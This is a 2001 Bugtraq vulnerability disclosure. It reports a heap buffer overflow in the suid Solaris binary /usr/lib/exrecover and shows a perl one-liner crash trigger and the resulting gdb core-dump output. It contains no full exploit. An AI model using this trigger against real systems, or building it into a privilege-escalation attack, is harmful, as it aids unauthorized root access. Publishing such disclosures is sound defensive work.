[18504] in bugtraq
Solaris /usr/lib/exrecover buffer overflow
daemon@ATHENA.MIT.EDU (Pablo Sor)
Tue Jan 9 18:13:25 2001
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <3A5B6A5C.52333FAC@afip.gov.ar>
Date: Tue, 9 Jan 2001 16:45:32 -0300
Reply-To: Pablo Sor <psor@AFIP.GOV.AR>
From: Pablo Sor <psor@AFIP.GOV.AR>
X-To: vuldb@securityfocus.com
To: BUGTRAQ@SECURITYFOCUS.COM
Hi,
The /usr/lib/exrecover contains a buffer overflow
(this command is suid in Solaris 2.4/5/6)
The problem occurs when it gets the second argument, it accepts the
argument without checking out its lenght and this causes the problem.
The overflow seems to be in the heap space.
$ /usr/lib/exrecover hola `perl -e 'printf "A"x50000'`
Segmentation Fault (core dumped)
$ gdb /usr/lib/exrecover --core=core
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "sparc-sun-solaris2.6"...
(no debugging symbols found)...
Core was generated by `/usr/lib/exrecover hola
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation Fault.
Reading symbols from /usr/lib/libmapmalloc.so.1...
(no debugging symbols found)...done.
Reading symbols from /usr/lib/libc.so.1...(no debugging symbols
found)...done.
Reading symbols from /usr/lib/libdl.so.1...(no debugging symbols
found)...done.
Reading symbols from /usr/platform/SUNW,Ultra-5_10/lib/libc_psr.so.1...
(no debugging symbols found)...done.
#0 0xef6a44d8 in strcpy ()
Pablo Sor
psor@afip.gov.ar